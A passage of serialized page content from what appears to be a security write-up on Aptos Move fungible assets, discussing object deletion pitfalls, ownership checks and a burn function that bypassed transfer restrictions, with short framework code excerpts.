fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":24,"tag":32,"props":62593,"children":62595},{"className":62594},[],[62596],{"type":29,"value":62597},"fungible_asset::add_fungibility",{"type":29,"value":195},{"type":24,"tag":73,"props":62600,"children":62602},{"className":2725,"code":62601,"language":2724,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[62603],{"type":24,"tag":32,"props":62604,"children":62605},{"__ignoreMap":7},[62606],{"type":24,"tag":83,"props":62607,"children":62608},{"class":85,"line":86},[62609,62613,62617,62621,62626,62630,62635,62639,62644,62649,62653,62657],{"type":24,"tag":83,"props":62610,"children":62611},{"style":101},[62612],{"type":29,"value":41700},{"type":24,"tag":83,"props":62614,"children":62615},{"style":107},[62616],{"type":29,"value":558},{"type":24,"tag":83,"props":62618,"children":62619},{"style":143},[62620],{"type":29,"value":20362},{"type":24,"tag":83,"props":62622,"children":62623},{"style":107},[62624],{"type":29,"value":62625},"object",{"type":24,"tag":83,"props":62627,"children":62628},{"style":143},[62629],{"type":29,"value":3226},{"type":24,"tag":83,"props":62631,"children":62632},{"style":101},[62633],{"type":29,"value":62634},"can_generate_delete_ref",{"type":24,"tag":83,"props":62636,"children":62637},{"style":107},[62638],{"type":29,"value":558},{"type":24,"tag":83,"props":62640,"children":62641},{"style":137},[62642],{"type":29,"value":62643},"constructor_ref",{"type":24,"tag":83,"props":62645,"children":62646},{"style":107},[62647],{"type":29,"value":62648},"), error",{"type":24,"tag":83,"props":62650,"children":62651},{"style":143},[62652],{"type":29,"value":3226},{"type":24,"tag":83,"props":62654,"children":62655},{"style":101},[62656],{"type":29,"value":62089},{"type":24,"tag":83,"props":62658,"children":62659},{"style":107},[62660],{"type":29,"value":62661},"(EOBJECT_IS_DELETABLE));\n",{"type":24,"tag":25,"props":62663,"children":62664},{},[62665,62667,62672,62674,62679,62680,62687],{"type":29,"value":62666},"This object serves as the foundation for ownership tokens in the form of a ",{"type":24,"tag":32,"props":62668,"children":62670},{"className":62669},[],[62671],{"type":29,"value":61226},{"type":29,"value":62673},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":24,"tag":32,"props":62675,"children":62677},{"className":62676},[],[62678],{"type":29,"value":62597},{"type":29,"value":6204},{"type":24,"tag":2033,"props":62681,"children":62684},{"href":62682,"rel":62683},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[2037],[62685],{"type":29,"value":62686},"lacked this assert",{"type":29,"value":62688},", which we discovered and reported.",{"type":24,"tag":25,"props":62690,"children":62691},{},[62692,62697,62699,62704,62706,62711],{"type":24,"tag":32,"props":62693,"children":62695},{"className":62694},[],[62696],{"type":29,"value":62597},{"type":29,"value":62698}," transfers the ",{"type":24,"tag":32,"props":62700,"children":62702},{"className":62701},[],[62703],{"type":29,"value":61285},{"type":29,"value":62705}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":24,"tag":32,"props":62707,"children":62709},{"className":62708},[],[62710],{"type":29,"value":61226},{"type":29,"value":62712}," can be minted, representing a share of ownership in that object.",{"type":24,"tag":73,"props":62714,"children":62716},{"className":2725,"code":62715,"language":2724,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[62717],{"type":24,"tag":32,"props":62718,"children":62719},{"__ignoreMap":7},[62720,62728,62748,62763,62790,62805,62826,62838,62850,62862,62874,62886,62898,62905,62912,62927],{"type":24,"tag":83,"props":62721,"children":62722},{"class":85,"line":86},[62723],{"type":24,"tag":83,"props":62724,"children":62725},{"style":2735},[62726],{"type":29,"value":62727},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":24,"tag":83,"props":62729,"children":62730},{"class":85,"line":113},[62731,62735,62739,62744],{"type":24,"tag":83,"props":62732,"children":62733},{"style":137},[62734],{"type":29,"value":61390},{"type":24,"tag":83,"props":62736,"children":62737},{"style":137},[62738],{"type":29,"value":5953},{"type":24,"tag":83,"props":62740,"children":62741},{"style":101},[62742],{"type":29,"value":62743}," add_fungibility",{"type":24,"tag":83,"props":62745,"children":62746},{"style":107},[62747],{"type":29,"value":3208},{"type":24,"tag":83,"props":62749,"children":62750},{"class":85,"line":128},[62751,62755,62759],{"type":24,"tag":83,"props":62752,"children":62753},{"style":107},[62754],{"type":29,"value":62433},{"type":24,"tag":83,"props":62756,"children":62757},{"style":143},[62758],{"type":29,"value":509},{"type":24,"tag":83,"props":62760,"children":62761},{"style":107},[62762],{"type":29,"value":1453},{"type":24,"tag":83,"props":62764,"children":62765},{"class":85,"line":183},[62766,62770,62774,62778,62782,62786],{"type":24,"tag":83,"props":62767,"children":62768},{"style":107},[62769],{"type":29,"value":2872},{"type":24,"tag":83,"props":62771,"children":62772},{"style":143},[62773],{"type":29,"value":195},{"type":24,"tag":83,"props":62775,"children":62776},{"style":3163},[62777],{"type":29,"value":61276},{"type":24,"tag":83,"props":62779,"children":62780},{"style":107},[62781],{"type":29,"value":5552},{"type":24,"tag":83,"props":62783,"children":62784},{"style":3163},[62785],{"type":29,"value":61285},{"type":24,"tag":83,"props":62787,"children":62788},{"style":107},[62789],{"type":29,"value":7028},{"type":24,"tag":83,"props":62791,"children":62792},{"class":85,"line":203},[62793,62797,62801],{"type":24,"tag":83,"props":62794,"children":62795},{"style":107},[62796],{"type":29,"value":62433},{"type":24,"tag":83,"props":62798,"children":62799},{"style":143},[62800],{"type":29,"value":509},{"type":24,"tag":83,"props":62802,"children":62803},{"style":107},[62804],{"type":29,"value":1453},{"type":24,"tag":83,"props":62806,"children":62807},{"class":85,"line":212},[62808,62813,62817,62822],{"type":24,"tag":83,"props":62809,"children":62810},{"style":101},[62811],{"type":29,"value":62812},"    move_to",{"type":24,"tag":83,"props":62814,"children":62815},{"style":107},[62816],{"type":29,"value":558},{"type":24,"tag":83,"props":62818,"children":62819},{"style":137},[62820],{"type":29,"value":62821},"metadata_object_signer",{"type":24,"tag":83,"props":62823,"children":62824},{"style":107},[62825],{"type":29,"value":989},{"type":24,"tag":83,"props":62827,"children":62828},{"class":85,"line":256},[62829,62834],{"type":24,"tag":83,"props":62830,"children":62831},{"style":3163},[62832],{"type":29,"value":62833},"        Metadata",{"type":24,"tag":83,"props":62835,"children":62836},{"style":107},[62837],{"type":29,"value":125},{"type":24,"tag":83,"props":62839,"children":62840},{"class":85,"line":270},[62841,62846],{"type":24,"tag":83,"props":62842,"children":62843},{"style":137},[62844],{"type":29,"value":62845},"            name",{"type":24,"tag":83,"props":62847,"children":62848},{"style":107},[62849],{"type":29,"value":989},{"type":24,"tag":83,"props":62851,"children":62852},{"class":85,"line":302},[62853,62858],{"type":24,"tag":83,"props":62854,"children":62855},{"style":137},[62856],{"type":29,"value":62857},"            symbol",{"type":24,"tag":83,"props":62859,"children":62860},{"style":107},[62861],{"type":29,"value":989},{"type":24,"tag":83,"props":62863,"children":62864},{"class":85,"line":324},[62865,62870],{"type":24,"tag":83,"props":62866,"children":62867},{"style":137},[62868],{"type":29,"value":62869},"            decimals",{"type":24,"tag":83,"props":62871,"children":62872},{"style":107},[62873],{"type":29,"value":989},{"type":24,"tag":83,"props":62875,"children":62876},{"class":85,"line":345},[62877,62882],{"type":24,"tag":83,"props":62878,"children":62879},{"style":137},[62880],{"type":29,"value":62881},"            icon_uri",{"type":24,"tag":83,"props":62883,"children":62884},{"style":107},[62885],{"type":29,"value":989},{"type":24,"tag":83,"props":62887,"children":62888},{"class":85,"line":358},[62889,62894],{"type":24,"tag":83,"props":62890,"children":62891},{"style":137},[62892],{"type":29,"value":62893},"            project_uri",{"type":24,"tag":83,"props":62895,"children":62896},{"style":107},[62897],{"type":29,"value":989},{"type":24,"tag":83,"props":62899,"children":62900},{"class":85,"line":367},[62901],{"type":24,"tag":83,"props":62902,"children":62903},{"style":107},[62904],{"type":29,"value":3092},{"type":24,"tag":83,"props":62906,"children":62907},{"class":85,"line":406},[62908],{"type":24,"tag":83,"props":62909,"children":62910},{"style":107},[62911],{"type":29,"value":43373},{"type":24,"tag":83,"props":62913,"children":62914},{"class":85,"line":427},[62915,62919,62923],{"type":24,"tag":83,"props":62916,"children":62917},{"style":107},[62918],{"type":29,"value":1161},{"type":24,"tag":83,"props":62920,"children":62921},{"style":143},[62922],{"type":29,"value":509},{"type":24,"tag":83,"props":62924,"children":62925},{"style":107},[62926],{"type":29,"value":1453},{"type":24,"tag":83,"props":62928,"children":62929},{"class":85,"line":440},[62930],{"type":24,"tag":83,"props":62931,"children":62932},{"style":107},[62933],{"type":29,"value":464},{"type":24,"tag":18531,"props":62935,"children":62936},{},[],{"type":24,"tag":25,"props":62938,"children":62939},{},[62940,62942,62947,62949,62954],{"type":29,"value":62941},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":24,"tag":32,"props":62943,"children":62945},{"className":62944},[],[62946],{"type":29,"value":61791},{"type":29,"value":62948}," is also an object, and a \"secondary\" ",{"type":24,"tag":32,"props":62950,"children":62952},{"className":62951},[],[62953],{"type":29,"value":61791},{"type":29,"value":62955}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":24,"tag":73,"props":62957,"children":62959},{"className":2725,"code":62958,"language":2724,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[62960],{"type":24,"tag":32,"props":62961,"children":62962},{"__ignoreMap":7},[62963,62971,63013,63020,63028],{"type":24,"tag":83,"props":62964,"children":62965},{"class":85,"line":86},[62966],{"type":24,"tag":83,"props":62967,"children":62968},{"style":2735},[62969],{"type":29,"value":62970},"//Fungible asset\n",{"type":24,"tag":83,"props":62972,"children":62973},{"class":85,"line":113},[62974,62978,62982,62987,62991,62996,63000,63004,63009],{"type":24,"tag":83,"props":62975,"children":62976},{"style":137},[62977],{"type":29,"value":61390},{"type":24,"tag":83,"props":62979,"children":62980},{"style":137},[62981],{"type":29,"value":5953},{"type":24,"tag":83,"props":62983,"children":62984},{"style":101},[62985],{"type":29,"value":62986}," remove_store",{"type":24,"tag":83,"props":62988,"children":62989},{"style":107},[62990],{"type":29,"value":558},{"type":24,"tag":83,"props":62992,"children":62993},{"style":137},[62994],{"type":29,"value":62995},"delete_ref",{"type":24,"tag":83,"props":62997,"children":62998},{"style":143},[62999],{"type":29,"value":195},{"type":24,"tag":83,"props":63001,"children":63002},{"style":143},[63003],{"type":29,"value":6888},{"type":24,"tag":83,"props":63005,"children":63006},{"style":3163},[63007],{"type":29,"value":63008},"DeleteRef",{"type":24,"tag":83,"props":63010,"children":63011},{"style":107},[63012],{"type":29,"value":2905},{"type":24,"tag":83,"props":63014,"children":63015},{"class":85,"line":128},[63016],{"type":24,"tag":83,"props":63017,"children":63018},{"emptyLinePlaceholder":16},[63019],{"type":29,"value":3422},{"type":24,"tag":83,"props":63021,"children":63022},{"class":85,"line":183},[63023],{"type":24,"tag":83,"props":63024,"children":63025},{"style":2735},[63026],{"type":29,"value":63027},"//Object\n",{"type":24,"tag":83,"props":63029,"children":63030},{"class":85,"line":203},[63031,63035,63039,63044,63048,63053,63057,63062],{"type":24,"tag":83,"props":63032,"children":63033},{"style":137},[63034],{"type":29,"value":61390},{"type":24,"tag":83,"props":63036,"children":63037},{"style":137},[63038],{"type":29,"value":5953},{"type":24,"tag":83,"props":63040,"children":63041},{"style":101},[63042],{"type":29,"value":63043}," delete",{"type":24,"tag":83,"props":63045,"children":63046},{"style":107},[63047],{"type":29,"value":558},{"type":24,"tag":83,"props":63049,"children":63050},{"style":90},[63051],{"type":29,"value":63052},"ref",{"type":24,"tag":83,"props":63054,"children":63055},{"style":143},[63056],{"type":29,"value":195},{"type":24,"tag":83,"props":63058,"children":63059},{"style":3163},[63060],{"type":29,"value":63061}," DeleteRef",{"type":24,"tag":83,"props":63063,"children":63064},{"style":107},[63065],{"type":29,"value":2905},{"type":24,"tag":25,"props":63067,"children":63068},{},[63069,63071,63077,63079,63084,63086,63091,63093,63098,63100,63106,63108,63114,63116,63121],{"type":29,"value":63070},"When ",{"type":24,"tag":32,"props":63072,"children":63074},{"className":63073},[],[63075],{"type":29,"value":63076},"object::delete",{"type":29,"value":63078}," removes the ",{"type":24,"tag":32,"props":63080,"children":63082},{"className":63081},[],[63083],{"type":29,"value":48569},{"type":29,"value":63085}," from a ",{"type":24,"tag":32,"props":63087,"children":63089},{"className":63088},[],[63090],{"type":29,"value":61791},{"type":29,"value":63092}," object, the ",{"type":24,"tag":32,"props":63094,"children":63096},{"className":63095},[],[63097],{"type":29,"value":61791},{"type":29,"value":63099}," resource becomes permanently undeletable. This is because ",{"type":24,"tag":32,"props":63101,"children":63103},{"className":63102},[],[63104],{"type":29,"value":63105},"remove_store",{"type":29,"value":63107}," can't create an ",{"type":24,"tag":32,"props":63109,"children":63111},{"className":63110},[],[63112],{"type":29,"value":63113},"Object\u003CFungibleStore>",{"type":29,"value":63115}," without an ",{"type":24,"tag":32,"props":63117,"children":63119},{"className":63118},[],[63120],{"type":29,"value":48569},{"type":29,"value":63122}," underneath, causing the operation to fail.",{"type":24,"tag":73,"props":63124,"children":63126},{"className":2725,"code":63125,"language":2724,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[63127],{"type":24,"tag":32,"props":63128,"children":63129},{"__ignoreMap":7},[63130,63185,63237,63252],{"type":24,"tag":83,"props":63131,"children":63132},{"class":85,"line":86},[63133,63137,63141,63145,63149,63153,63157,63161,63165,63169,63173,63177,63181],{"type":24,"tag":83,"props":63134,"children":63135},{"style":137},[63136],{"type":29,"value":61390},{"type":24,"tag":83,"props":63138,"children":63139},{"style":137},[63140],{"type":29,"value":5953},{"type":24,"tag":83,"props":63142,"children":63143},{"style":101},[63144],{"type":29,"value":62986},{"type":24,"tag":83,"props":63146,"children":63147},{"style":107},[63148],{"type":29,"value":558},{"type":24,"tag":83,"props":63150,"children":63151},{"style":137},[63152],{"type":29,"value":62995},{"type":24,"tag":83,"props":63154,"children":63155},{"style":143},[63156],{"type":29,"value":195},{"type":24,"tag":83,"props":63158,"children":63159},{"style":143},[63160],{"type":29,"value":6888},{"type":24,"tag":83,"props":63162,"children":63163},{"style":3163},[63164],{"type":29,"value":63008},{"type":24,"tag":83,"props":63166,"children":63167},{"style":107},[63168],{"type":29,"value":633},{"type":24,"tag":83,"props":63170,"children":63171},{"style":137},[63172],{"type":29,"value":6090},{"type":24,"tag":83,"props":63174,"children":63175},{"style":107},[63176],{"type":29,"value":22772},{"type":24,"tag":83,"props":63178,"children":63179},{"style":143},[63180],{"type":29,"value":509},{"type":24,"tag":83,"props":63182,"children":63183},{"style":107},[63184],{"type":29,"value":61481},{"type":24,"tag":83,"props":63186,"children":63187},{"class":85,"line":113},[63188,63192,63196,63200,63204,63208,63212,63217,63221,63225,63229,63233],{"type":24,"tag":83,"props":63189,"children":63190},{"style":90},[63191],{"type":29,"value":2746},{"type":24,"tag":83,"props":63193,"children":63194},{"style":137},[63195],{"type":29,"value":5577},{"type":24,"tag":83,"props":63197,"children":63198},{"style":143},[63199],{"type":29,"value":146},{"type":24,"tag":83,"props":63201,"children":63202},{"style":143},[63203],{"type":29,"value":6888},{"type":24,"tag":83,"props":63205,"children":63206},{"style":107},[63207],{"type":29,"value":62625},{"type":24,"tag":83,"props":63209,"children":63210},{"style":143},[63211],{"type":29,"value":3226},{"type":24,"tag":83,"props":63213,"children":63214},{"style":137},[63215],{"type":29,"value":63216},"object_from_delete_ref",{"type":24,"tag":83,"props":63218,"children":63219},{"style":107},[63220],{"type":29,"value":5552},{"type":24,"tag":83,"props":63222,"children":63223},{"style":3163},[63224],{"type":29,"value":61791},{"type":24,"tag":83,"props":63226,"children":63227},{"style":107},[63228],{"type":29,"value":7358},{"type":24,"tag":83,"props":63230,"children":63231},{"style":137},[63232],{"type":29,"value":62995},{"type":24,"tag":83,"props":63234,"children":63235},{"style":107},[63236],{"type":29,"value":581},{"type":24,"tag":83,"props":63238,"children":63239},{"class":85,"line":128},[63240,63244,63248],{"type":24,"tag":83,"props":63241,"children":63242},{"style":107},[63243],{"type":29,"value":62433},{"type":24,"tag":83,"props":63245,"children":63246},{"style":143},[63247],{"type":29,"value":509},{"type":24,"tag":83,"props":63249,"children":63250},{"style":107},[63251],{"type":29,"value":1453},{"type":24,"tag":83,"props":63253,"children":63254},{"class":85,"line":183},[63255],{"type":24,"tag":83,"props":63256,"children":63257},{"style":107},[63258],{"type":29,"value":464},{"type":24,"tag":25,"props":63260,"children":63261},{},[63262,63264,63269,63271,63277,63279,63284],{"type":29,"value":63263},"In addition, such \"deleted\" ",{"type":24,"tag":32,"props":63265,"children":63267},{"className":63266},[],[63268],{"type":29,"value":61791},{"type":29,"value":63270}," objects remain at least partially operable. For instance, ",{"type":24,"tag":32,"props":63272,"children":63274},{"className":63273},[],[63275],{"type":29,"value":63276},"fungible_asset::deposit",{"type":29,"value":63278}," does not check the ",{"type":24,"tag":32,"props":63280,"children":63282},{"className":63281},[],[63283],{"type":29,"value":48569},{"type":29,"value":63285}," existence.",{"type":24,"tag":1818,"props":63287,"children":63289},{"id":63288},"ownership",[63290],{"type":29,"value":63291},"Ownership",{"type":24,"tag":25,"props":63293,"children":63294},{},[63295,63297,63302,63304,63310,63312,63317],{"type":29,"value":63296},"Each object has an owner. Fungible assets rely on the ",{"type":24,"tag":32,"props":63298,"children":63300},{"className":63299},[],[63301],{"type":29,"value":48569},{"type":29,"value":63303}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":24,"tag":32,"props":63305,"children":63307},{"className":63306},[],[63308],{"type":29,"value":63309},"object::owns",{"type":29,"value":63311}," to confirm ownership of the ",{"type":24,"tag":32,"props":63313,"children":63315},{"className":63314},[],[63316],{"type":29,"value":61791},{"type":29,"value":49893},{"type":24,"tag":73,"props":63319,"children":63321},{"className":2725,"code":63320,"language":2724,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[63322],{"type":24,"tag":32,"props":63323,"children":63324},{"__ignoreMap":7},[63325,63373,63397,63424,63444,63472,63540,63555],{"type":24,"tag":83,"props":63326,"children":63327},{"class":85,"line":86},[63328,63332,63336,63340,63344,63348,63353,63357,63361,63365,63369],{"type":24,"tag":83,"props":63329,"children":63330},{"style":101},[63331],{"type":29,"value":61390},{"type":24,"tag":83,"props":63333,"children":63334},{"style":107},[63335],{"type":29,"value":558},{"type":24,"tag":83,"props":63337,"children":63338},{"style":137},[63339],{"type":29,"value":6845},{"type":24,"tag":83,"props":63341,"children":63342},{"style":107},[63343],{"type":29,"value":633},{"type":24,"tag":83,"props":63345,"children":63346},{"style":137},[63347],{"type":29,"value":6854},{"type":24,"tag":83,"props":63349,"children":63350},{"style":137},[63351],{"type":29,"value":63352}," withdraw_sanity_check",{"type":24,"tag":83,"props":63354,"children":63355},{"style":107},[63356],{"type":29,"value":5552},{"type":24,"tag":83,"props":63358,"children":63359},{"style":3163},[63360],{"type":29,"value":5733},{"type":24,"tag":83,"props":63362,"children":63363},{"style":143},[63364],{"type":29,"value":195},{"type":24,"tag":83,"props":63366,"children":63367},{"style":137},[63368],{"type":29,"value":5677},{"type":24,"tag":83,"props":63370,"children":63371},{"style":107},[63372],{"type":29,"value":6335},{"type":24,"tag":83,"props":63374,"children":63375},{"class":85,"line":113},[63376,63381,63385,63389,63393],{"type":24,"tag":83,"props":63377,"children":63378},{"style":137},[63379],{"type":29,"value":63380},"    owner",{"type":24,"tag":83,"props":63382,"children":63383},{"style":143},[63384],{"type":29,"value":195},{"type":24,"tag":83,"props":63386,"children":63387},{"style":143},[63388],{"type":29,"value":6888},{"type":24,"tag":83,"props":63390,"children":63391},{"style":137},[63392],{"type":29,"value":6893},{"type":24,"tag":83,"props":63394,"children":63395},{"style":107},[63396],{"type":29,"value":989},{"type":24,"tag":83,"props":63398,"children":63399},{"class":85,"line":128},[63400,63404,63408,63412,63416,63420],{"type":24,"tag":83,"props":63401,"children":63402},{"style":137},[63403],{"type":29,"value":29165},{"type":24,"tag":83,"props":63405,"children":63406},{"style":143},[63407],{"type":29,"value":195},{"type":24,"tag":83,"props":63409,"children":63410},{"style":3163},[63411],{"type":29,"value":61276},{"type":24,"tag":83,"props":63413,"children":63414},{"style":107},[63415],{"type":29,"value":5552},{"type":24,"tag":83,"props":63417,"children":63418},{"style":3163},[63419],{"type":29,"value":5733},{"type":24,"tag":83,"props":63421,"children":63422},{"style":107},[63423],{"type":29,"value":5884},{"type":24,"tag":83,"props":63425,"children":63426},{"class":85,"line":183},[63427,63432,63436,63440],{"type":24,"tag":83,"props":63428,"children":63429},{"style":137},[63430],{"type":29,"value":63431},"    abort_on_dispatch",{"type":24,"tag":83,"props":63433,"children":63434},{"style":143},[63435],{"type":29,"value":195},{"type":24,"tag":83,"props":63437,"children":63438},{"style":3163},[63439],{"type":29,"value":11797},{"type":24,"tag":83,"props":63441,"children":63442},{"style":107},[63443],{"type":29,"value":989},{"type":24,"tag":83,"props":63445,"children":63446},{"class":85,"line":203},[63447,63451,63455,63459,63463,63468],{"type":24,"tag":83,"props":63448,"children":63449},{"style":107},[63450],{"type":29,"value":633},{"type":24,"tag":83,"props":63452,"children":63453},{"style":137},[63454],{"type":29,"value":6090},{"type":24,"tag":83,"props":63456,"children":63457},{"style":3163},[63458],{"type":29,"value":61811},{"type":24,"tag":83,"props":63460,"children":63461},{"style":107},[63462],{"type":29,"value":568},{"type":24,"tag":83,"props":63464,"children":63465},{"style":3163},[63466],{"type":29,"value":63467},"DispatchFunctionStore",{"type":24,"tag":83,"props":63469,"children":63470},{"style":107},[63471],{"type":29,"value":125},{"type":24,"tag":83,"props":63473,"children":63474},{"class":85,"line":212},[63475,63479,63484,63488,63493,63497,63501,63505,63509,63513,63517,63521,63526,63530,63535],{"type":24,"tag":83,"props":63476,"children":63477},{"style":101},[63478],{"type":29,"value":62059},{"type":24,"tag":83,"props":63480,"children":63481},{"style":107},[63482],{"type":29,"value":63483},"(object",{"type":24,"tag":83,"props":63485,"children":63486},{"style":143},[63487],{"type":29,"value":3226},{"type":24,"tag":83,"props":63489,"children":63490},{"style":101},[63491],{"type":29,"value":63492},"owns",{"type":24,"tag":83,"props":63494,"children":63495},{"style":107},[63496],{"type":29,"value":558},{"type":24,"tag":83,"props":63498,"children":63499},{"style":137},[63500],{"type":29,"value":5686},{"type":24,"tag":83,"props":63502,"children":63503},{"style":107},[63504],{"type":29,"value":12681},{"type":24,"tag":83,"props":63506,"children":63507},{"style":143},[63508],{"type":29,"value":3226},{"type":24,"tag":83,"props":63510,"children":63511},{"style":101},[63512],{"type":29,"value":6956},{"type":24,"tag":83,"props":63514,"children":63515},{"style":107},[63516],{"type":29,"value":558},{"type":24,"tag":83,"props":63518,"children":63519},{"style":137},[63520],{"type":29,"value":15348},{"type":24,"tag":83,"props":63522,"children":63523},{"style":107},[63524],{"type":29,"value":63525},")), error",{"type":24,"tag":83,"props":63527,"children":63528},{"style":143},[63529],{"type":29,"value":3226},{"type":24,"tag":83,"props":63531,"children":63532},{"style":101},[63533],{"type":29,"value":63534},"permission_denied",{"type":24,"tag":83,"props":63536,"children":63537},{"style":107},[63538],{"type":29,"value":63539},"(ENOT_STORE_OWNER));\n",{"type":24,"tag":83,"props":63541,"children":63542},{"class":85,"line":256},[63543,63547,63551],{"type":24,"tag":83,"props":63544,"children":63545},{"style":107},[63546],{"type":29,"value":62433},{"type":24,"tag":83,"props":63548,"children":63549},{"style":143},[63550],{"type":29,"value":509},{"type":24,"tag":83,"props":63552,"children":63553},{"style":107},[63554],{"type":29,"value":1453},{"type":24,"tag":83,"props":63556,"children":63557},{"class":85,"line":270},[63558],{"type":24,"tag":83,"props":63559,"children":63560},{"style":107},[63561],{"type":29,"value":464},{"type":24,"tag":25,"props":63563,"children":63564},{},[63565,63567,63572,63574,63580,63582,63588],{"type":29,"value":63566},"The thing to note is that defining ownership with ",{"type":24,"tag":32,"props":63568,"children":63570},{"className":63569},[],[63571],{"type":29,"value":63309},{"type":29,"value":63573}," can be tricky. The ",{"type":24,"tag":32,"props":63575,"children":63577},{"className":63576},[],[63578],{"type":29,"value":63579},"burn",{"type":29,"value":63581}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":24,"tag":32,"props":63583,"children":63585},{"className":63584},[],[63586],{"type":29,"value":63587},"BURN_ADDRESS",{"type":29,"value":63589}," while bypassing transfer restrictions:",{"type":24,"tag":73,"props":63591,"children":63593},{"className":2725,"code":63592,"language":2724,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[63594],{"type":24,"tag":32,"props":63595,"children":63596},{"__ignoreMap":7},[63597,63694,63735,63785,63814,63864,63885],{"type":24,"tag":83,"props":63598,"children":63599},{"class":85,"line":86},[63600,63604,63608,63612,63617,63621,63625,63629,63633,63637,63641,63645,63649,63653,63657,63661,63665,63669,63673,63677,63681,63685,63690],{"type":24,"tag":83,"props":63601,"children":63602},{"style":137},[63603],{"type":29,"value":61390},{"type":24,"tag":83,"props":63605,"children":63606},{"style":137},[63607],{"type":29,"value":62357},{"type":24,"tag":83,"props":63609,"children":63610},{"style":137},[63611],{"type":29,"value":5953},{"type":24,"tag":83,"props":63613,"children":63614},{"style":137},[63615],{"type":29,"value":63616}," burn",{"type":24,"tag":83,"props":63618,"children":63619},{"style":107},[63620],{"type":29,"value":5552},{"type":24,"tag":83,"props":63622,"children":63623},{"style":3163},[63624],{"type":29,"value":5733},{"type":24,"tag":83,"props":63626,"children":63627},{"style":143},[63628],{"type":29,"value":195},{"type":24,"tag":83,"props":63630,"children":63631},{"style":137},[63632],{"type":29,"value":5677},{"type":24,"tag":83,"props":63634,"children":63635},{"style":107},[63636],{"type":29,"value":7358},{"type":24,"tag":83,"props":63638,"children":63639},{"style":137},[63640],{"type":29,"value":15348},{"type":24,"tag":83,"props":63642,"children":63643},{"style":143},[63644],{"type":29,"value":195},{"type":24,"tag":83,"props":63646,"children":63647},{"style":143},[63648],{"type":29,"value":6888},{"type":24,"tag":83,"props":63650,"children":63651},{"style":137},[63652],{"type":29,"value":6893},{"type":24,"tag":83,"props":63654,"children":63655},{"style":107},[63656],{"type":29,"value":568},{"type":24,"tag":83,"props":63658,"children":63659},{"style":137},[63660],{"type":29,"value":62625},{"type":24,"tag":83,"props":63662,"children":63663},{"style":143},[63664],{"type":29,"value":195},{"type":24,"tag":83,"props":63666,"children":63667},{"style":3163},[63668],{"type":29,"value":61276},{"type":24,"tag":83,"props":63670,"children":63671},{"style":107},[63672],{"type":29,"value":5552},{"type":24,"tag":83,"props":63674,"children":63675},{"style":3163},[63676],{"type":29,"value":5733},{"type":24,"tag":83,"props":63678,"children":63679},{"style":107},[63680],{"type":29,"value":20187},{"type":24,"tag":83,"props":63682,"children":63683},{"style":137},[63684],{"type":29,"value":6090},{"type":24,"tag":83,"props":63686,"children":63687},{"style":3163},[63688],{"type":29,"value":63689}," ObjectCore",{"type":24,"tag":83,"props":63691,"children":63692},{"style":107},[63693],{"type":29,"value":125},{"type":24,"tag":83,"props":63695,"children":63696},{"class":85,"line":113},[63697,63701,63706,63710,63715,63719,63723,63727,63731],{"type":24,"tag":83,"props":63698,"children":63699},{"style":90},[63700],{"type":29,"value":2746},{"type":24,"tag":83,"props":63702,"children":63703},{"style":137},[63704],{"type":29,"value":63705}," original_owner",{"type":24,"tag":83,"props":63707,"children":63708},{"style":143},[63709],{"type":29,"value":146},{"type":24,"tag":83,"props":63711,"children":63712},{"style":107},[63713],{"type":29,"value":63714}," signer",{"type":24,"tag":83,"props":63716,"children":63717},{"style":143},[63718],{"type":29,"value":3226},{"type":24,"tag":83,"props":63720,"children":63721},{"style":101},[63722],{"type":29,"value":6956},{"type":24,"tag":83,"props":63724,"children":63725},{"style":107},[63726],{"type":29,"value":558},{"type":24,"tag":83,"props":63728,"children":63729},{"style":137},[63730],{"type":29,"value":15348},{"type":24,"tag":83,"props":63732,"children":63733},{"style":107},[63734],{"type":29,"value":581},{"type":24,"tag":83,"props":63736,"children":63737},{"class":85,"line":128},[63738,63742,63746,63751,63755,63759,63763,63768,63772,63776,63780],{"type":24,"tag":83,"props":63739,"children":63740},{"style":101},[63741],{"type":29,"value":62059},{"type":24,"tag":83,"props":63743,"children":63744},{"style":107},[63745],{"type":29,"value":558},{"type":24,"tag":83,"props":63747,"children":63748},{"style":101},[63749],{"type":29,"value":63750},"is_owner",{"type":24,"tag":83,"props":63752,"children":63753},{"style":107},[63754],{"type":29,"value":558},{"type":24,"tag":83,"props":63756,"children":63757},{"style":137},[63758],{"type":29,"value":62625},{"type":24,"tag":83,"props":63760,"children":63761},{"style":107},[63762],{"type":29,"value":568},{"type":24,"tag":83,"props":63764,"children":63765